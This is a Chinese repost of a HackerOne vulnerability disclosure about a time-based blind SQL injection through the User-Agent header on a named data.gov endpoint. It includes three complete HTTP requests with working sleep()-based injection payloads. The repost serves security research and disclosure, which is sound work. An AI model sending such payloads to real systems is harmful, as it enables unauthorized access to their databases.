通过User-agent进行SQL注入

声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

文章来源:https://hackerone.com/reports/297478

 我发现了一个SQL注入漏洞 /dashboard/datagov/csv_to_json,可以通过User-Agent HTTP请求头利用它。

我没有从数据库中提取任何数据,我已经使用具有算术运算的sleep SQL查询确认了漏洞。sleep 命令与算术运算结果将导致服务器响应不同的延迟时间。

例如,将该值设置 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'User-Agent头部将导致服务器延迟25(5×5)秒。

要重现,请发送以下HTTPS请求:

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服务器将在25(5 * 5)秒后响应- 与User-Agent:请求头的值相同。

现在,让我们让服务器立即响应。我们将发送等于0的值sleep(5 * 5 * 0)。

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服务器立即响应为5 * 5 * 0 = 0。

让我们用另一个请求确认:

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(6*6-30),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

这次有效载荷包含6 * 6-30,等于6。服务器在6秒后响应。

这些只是我尝试确认此问题的各种算术运算的一些SQL查询。

碰撞

攻击者可以操纵发送到MySQL数据库的SQL语句并注入恶意SQL语句。攻击者能够更改针对数据库执行的SQL语句的逻辑。

原文地址:https://www.cnblogs.com/xiaozi/p/10675511.html